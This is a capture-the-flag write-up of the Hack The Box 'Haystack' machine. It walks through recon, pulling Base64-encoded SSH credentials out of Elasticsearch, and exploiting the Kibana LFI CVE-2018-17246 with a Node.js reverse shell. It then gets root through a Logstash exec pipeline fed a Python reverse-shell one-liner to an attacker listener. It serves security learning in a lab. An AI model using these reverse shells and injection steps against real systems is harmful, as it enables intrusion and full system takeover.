Post

Hack The Box - Haystack

I really felt that this machine resonated with me because of the Elastic Stack components running on it and I happened to be learning about them at that point of time XD

Configuration

The operating system that I will be using to tackle this machine is a Kali Linux VM.

Always remember to map a domain name to the machine’s IP address to ease your rooting !

1
$ echo "10.10.10.115 haystack.htb" >> /etc/hosts

Reconnaissance

Using nmap, we are able to determine the open ports and running services on the machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ nmap -sV -sT -sC haystack.htb
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-29 02:40 EDT
Nmap scan report for haystack.htb (10.10.10.115)
Host is up (0.63s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)
|   256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)
|_  256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)
80/tcp   open  http    nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
9200/tcp open  http    nginx 1.12.2
| http-methods: 
|_  Potentially risky methods: DELETE
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (application/json; charset=UTF-8).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.00 seconds

Not much can be done with the ssh service as we do not have any credentials on hand so lets come back to it later. Lets first check out the http service!

Haha of course it is a needle! XD

Enumeration (1)

There doesn’t seem much, so lets brute force the directory and files using gobuster.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ gobuster dir -u http://haystack.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://haystack.htb
[+] Threads:        200
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2019/08/29 02:13:56 Starting gobuster
===============================================================
===============================================================
2019/08/29 02:18:53 Finished
===============================================================

Nothing ? Seems like a dead end. Lets move on to the http service on port 9200. When I saw the port number, I immediately guessed that Elasticsearch was running on it. The below screenshot confirms it.

The first step was to know what indexes are available on it. An index is like a table in relational databases and also contains JSON documents that are similar to the rows in a table.

1
2
3
4
5
$ curl http://haystack.htb:9200/_cat/indices?v
health status index   uuid                   pri rep docs.count docs.deleted store.size pri.store.size
green  open   .kibana 6tjAYZrgQ5CwwR0g6VOoRg   1   0          1            0        4kb            4kb
yellow open   quotes  ZG2D1IqkQNiNZmi2HRImnQ   5   1        253            0    262.7kb        262.7kb
yellow open   bank    eSVpNfCfREyYoVigNWcrMw   5   1       1000            0    483.2kb        483.2kb

There are a total of 3 indices. The .kibana is an index that contains configurations for Kibana. This confirms that there might be a Kibana service running on the machine, but we are unable to access it from the outside. The quotes and bank indexes seem interesting, so lets dump them out! I made a python script to ease my job:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import json

def pretty_print(json_string):
	return json.dumps(json.loads(json_string), indent=4, sort_keys=True)
data = {
	"query": {
		"match_all": {}
	}
}
params = {
	"size": 10000
}
host = "http://haystack.htb:9200"
with open("quotes.txt", "w") as f:
    resp = requests.get(host + "/quotes/_search", params=params, json=data)
	f.write(pretty_print(resp.content))
	f.close()
with open("bank.txt", "w") as f:
	resp = requests.get(host + "/bank/_search", params=params, json=data)
	f.write(pretty_print(resp.content))
	f.close()

After running the script, we should get quotes.txt and bank.txt, each containing a list of JSONs.

For bank.txt, it seems to contain records of personal information

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
"hits": {
        "hits": [
            {
                "_id": "25", 
                "_index": "bank", 
                "_score": 1.0, 
                "_source": {
                    "account_number": 25, 
                    "address": "171 Putnam Avenue", 
                    "age": 39, 
                    "balance": 40540, 
                    "city": "Nicholson", 
                    "email": "virginiaayala@filodyne.com", 
                    "employer": "Filodyne", 
                    "firstname": "Virginia", 
                    "gender": "F", 
                    "lastname": "Ayala", 
                    "state": "PA"
                }, 
                "_type": "account"
            }, 
            ...
        ]
}

For quotes.txt, it seems to contain paragraphs in spanish ?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
"hits": {
        "hits": [
            {
                "_id": "14", 
                "_index": "quotes", 
                "_score": 1.0, 
                "_source": {
                    "quote": "En Am\u00e9rica se desarrollaron importantes civilizaciones, como Caral (la civilizaci\u00f3n 
                    m\u00e1s antigua de Am\u00e9rica, la cual se desarroll\u00f3 en la zona central de Per\u00fa), los anasazi, 
                    los indios pueblo, quimbaya, nazca, chim\u00fa, chav\u00edn, paracas, moche, huari, lima, zapoteca, mixteca,
                     totonaca, tolteca, olmeca y chibcha, y las avanzadas civilizaciones correspondientes a los imperios de 
                     Teotihuacan, Tiahuanaco, maya, azteca e inca, entre muchos otros."
                }, 
                "_type": "quote"
            }, 
            ...
        ]
}

It really was like finding a needle in a haystack as I did not know what I was looking for but I still tried to manually look through quotes.txt. Then I came across this:

1
2
3
4
5
6
7
8
9
{
    "_id": "2", 
    "_index": "quotes", 
    "_score": 1.0, 
    "_source": {
        "quote": "There's a needle in this haystack, you have to search for it"
    }, 
    "_type": "quote"
}

Well I guess that was helpful? :/ After a while I found something interesting!

1
2
3
4
5
6
7
8
9
{
    "_id": "111", 
    "_index": "quotes", 
    "_score": 1.0, 
    "_source": {
        "quote": "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="
    }, 
    "_type": "quote"
}

There seems to be some Base64-encoded string in the quote! Decoding it, we get pass: spanish.is.key

If there is a password, there must be a username! Lets carry on searching…

1
2
3
4
5
6
7
8
9
{
    "_id": "45", 
    "_index": "quotes", 
    "_score": 1.0, 
    "_source": {
        "quote": "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "
    }, 
    "_type": "quote"
},

Finally! Likewise, there was a Base64-encoded string. Decoding it, we get user: security.

user.txt

Using security:spanish.is.key, we try to log in via ssh.

1
2
3
4
5
6
$ ssh security@haystack.htb
security@haystack.htb's  password:
[security@haystack ~]$ ls
user.txt
[security@haystack ~]$ cat user.txt
04d1XXXXXXXXXXXXXXXXXXXXXXXXXXXX

Enumeration (2)

As security, we need to know what processes are being runned on the machine. To do so, I will be using pspy. To transfer it from my machine to this machine, I will be using python’s SimpleHTTPServer module.

On my machine:

1
2
3
4
5
$ mkdir httpserver
$ cd httpserver
$ cp ~/Downloads/pspy64 .
$ python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...

On the Haystack machine:

1
2
3
4
5
6
[security@haystack tmp]$ curl http://10.10.14.75/pspy64 > pspy64
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 4364k  100 4364k    0     0   639k      0  0:00:06  0:00:06 --:--:--  834k
[security@haystack tmp]$ chmod 777 pspy64
[security@haystack tmp]$ ./pspy64 

After a while, I noticed a process running with root privileges and the process is Logstash!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
2019/08/29 06:20:05 CMD: UID=0    PID=6397   | /bin/java -Xms500m -Xmx500m -XX:+UseParNewGC -XX:+UseConcMarkSweepGC 
-XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -Djava.awt.headless=true -Dfile.encoding=UTF-8 
-Djruby.compile.invokedynamic=true -Djruby.jit.threshold=0 -XX:+HeapDumpOnOutOfMemoryError -Djava.security.egd=file:/dev/urandom
 -cp /usr/share/logstash/logstash-core/lib/jars/animal-sniffer-annotations-1.14.jar:/usr/share/logstash/logstash-core/lib/jars/
 commons-codec-1.11.jar:/usr/share/logstash/logstash-core/lib/jars/commons-compiler-3.0.8.jar:/usr/share/logstash/logstash-core/
 lib/jars/error_prone_annotations-2.0.18.jar:/usr/share/logstash/logstash-core/lib/jars/google-java-format-1.1.jar:/usr/share/
 logstash/logstash-core/lib/jars/gradle-license-report-0.7.1.jar:/usr/share/logstash/logstash-core/lib/jars/guava-22.0.jar:/usr/
 share/logstash/logstash-core/lib/jars/j2objc-annotations-1.1.jar:/usr/share/logstash/logstash-core/lib/jars/
 jackson-annotations-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-core-2.9.5.jar:/usr/share/logstash/logstash-core/
 lib/jars/jackson-databind-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-dataformat-cbor-2.9.5.jar:/usr/share/
 logstash/logstash-core/lib/jars/janino-3.0.8.jar:/usr/share/logstash/logstash-core/lib/jars/jruby-complete-9.1.13.0.jar:/usr/
 share/logstash/logstash-core/lib/jars/jsr305-1.3.9.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-api-2.9.1.jar:/usr/share/
 logstash/logstash-core/lib/jars/log4j-core-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-slf4j-impl-2.9.1.jar:/usr/
 share/logstash/logstash-core/lib/jars/logstash-core.jar:/usr/share/logstash/logstash-core/lib/jars/
 org.eclipse.core.commands-3.6.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.contenttype-3.4.100.jar:/usr/
 share/logstash/logstash-core/lib/jars/org.eclipse.core.expressions-3.4.300.jar:/usr/share/logstash/logstash-core/lib/jars/
 org.eclipse.core.filesystem-1.3.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.jobs-3.5.100.jar:/usr/share/
 logstash/logstash-core/lib/jars/org.eclipse.core.resources-3.7.100.jar:/usr/share/logstash/logstash-core/lib/jars/
 org.eclipse.core.runtime-3.7.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.app-1.3.100.jar:/usr/share/
 logstash/logstash-core/lib/jars/org.eclipse.equinox.common-3.6.0.jar:/usr/share/logstash/logstash-core/lib/jars/
 org.eclipse.equinox.preferences-3.4.1.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.registry-3.5.101.jar:/
 usr/share/logstash/logstash-core/lib/jars/org.eclipse.jdt.core-3.10.0.jar:/usr/share/logstash/logstash-core/lib/jars/
 org.eclipse.osgi-3.7.1.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.text-3.5.101.jar:/usr/share/logstash/
 logstash-core/lib/jars/slf4j-api-1.7.25.jar org.logstash.Logstash --path.settings /etc/logstash 

Logstash is a program that is able to injest data or logs, process them and forward to other destinations. The configuration files for Logstash are typically located at /etc/logstash.

1
2
3
4
5
[security@haystack ~]$ ls /etc/logstash
conf.d       log4j2.properties     logstash.yml         pipelines.yml
jvm.options  logstash-sample.conf  logstash.yml.rpmnew  startup.options
[security@haystack logstash]$ ls /etc/logstash/conf.d
filter.conf  input.conf  output.conf

In the conf.d folder contains the files on how Logstash processes the information.

input.conf:

1
2
3
4
5
6
7
8
9
10
input {
	file {
		path => "/opt/kibana/logstash_*"
		start_position => "beginning"
		sincedb_path => "/dev/null"
		stat_interval => "10 second"
		type => "execute"
		mode => "read"
	}
}

filter.conf:

1
2
3
4
5
6
7
8
filter {
	if [type] == "execute" {
		grok {
			match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
		}
	}
}

output.conf:

1
2
3
4
5
6
7
8
output {
	if [type] == "execute" {
		stdout { codec => json }
		exec {
			command => "%{comando} &"
		}
	}
}

From these, we can tell that Logstash is:

  1. Reading line by line from all files in /opt/kibana that starts with logstash_
  2. Parsing each line using a certain format Ejecutar comando : <COMMAND>
  3. Executing the captured <COMMAND>

To start off, lets try to create a file in /opt/kibana. But unfortunately, we are not able to as we do not have write permission :(

1
2
3
4
[security@haystack ~]$ touch /opt/kibana/logstash_cmd
touch: cannot touch ‘/opt/kibana/logstash_cmd’: Permission denied
[security@haystack ~]$ ls -l /opt | grep kibana
drwxr-x---.  2 kibana kibana   6 Aug 29 01:35 kibana

To be able to write to /opt/kibana, we need to be kibana. But how?

First, we will need to find out where is kibana is running from.

1
2
3
4
5
[security@haystack ~]$ ps aux | grep kibana
kibana     6401  0.4  5.0 1360968 194848 ?      Ssl  00:13   1:47 /usr/share/kibana/bin/../node/bin/node --no-warnings /usr/share/
kibana/bin/../src/cli -c /etc/kibana/kibana.yml
[security@haystack ~]$ ls /usr/share/kibana/bin
kibana  kibana-keystore  kibana-plugin

Exploitation

We then find out what is the version of kibana.

1
2
[security@haystack ~]$ /usr/share/kibana/bin/kibana --version
6.4.2

This version of kibana is affected by the local file inclusion vulnerability CVE-2018-17246. More information on how to exploit it could be found here

Lets create a reverse shell file written in node.

1
2
3
4
5
6
7
8
9
10
11
12
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/bash", []);
    var client = new net.Socket();
    client.connect(1337, "10.10.XXX.XXX", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

And transfer it over to the Haystack machine.

1
2
3
4
5
[security@haystack tmp]$ curl http://10.10.14.75/exploit.js > exploit.js
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   383  100   383    0     0    578      0 --:--:-- --:--:-- --:--:--   578
[security@haystack tmp]$ chmod 777 exploit.js

On our machine, we start a listener.

1
2
$ nc -lvnp 1337
listening on [any] 1337 ...

We then proceed to exploit the vulnerability on the Haystack machine.

1
2
3
[security@haystack tmp]$
curl -XGET "http://127.0.0.1:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../
tmp/exploit.js"

Back to our machine, we caught the reverse shell.

1
2
3
4
connect to [10.10.XXX.XXX] from (UNKNOWN) [10.10.10.115] 39144
python -c 'import pty; pty.spawn("/bin/bash")'  
bash-4.2$ id
uid=994(kibana) gid=992(kibana) grupos=992(kibana) contexto=system_u:system_r:unconfined_service_t:s0

root.txt

As user kibana, we can now write to the /opt/kibana directory.

1
2
3
4
bash-4.2$ touch /opt/kibana/logstash_cmd
touch /opt/kibana/logstash_cmd
bash-4.2$ chmod 777 /opt/kibana/logstash_cmd
chmod 777 /opt/kibana/logstash_cmd

Before writing the line to the file, we need to first start another listener on our machine.

1
2
$ nc -lvnp 1338
listening on [any] 1338 ...

We then proceeded to write our reverse shell command to the file.

1
2
3
bash-4.2$ echo "Ejecutar comando : python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((\"10.10.XXX.XXX\",1338));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/
sh\",\"-i\"]);'" >> /opt/kibana/logstash_cmd

Back to our machine, we finally got a root shell!

1
2
3
4
5
6
connect to [10.10.XXX.XXX] from (UNKNOWN) [10.10.10.115] 57600
sh: no hay control de trabajos en este shell
sh-4.2# id
uid=0(root) gid=0(root) grupos=0(root) contexto=system_u:system_r:unconfined_service_t:s0
sh-4.2# cat /root/root.txt
3f5fXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Rooted ! Thank you for reading and look forward for more writeups and articles !

This post is licensed under CC BY 4.0 by the author.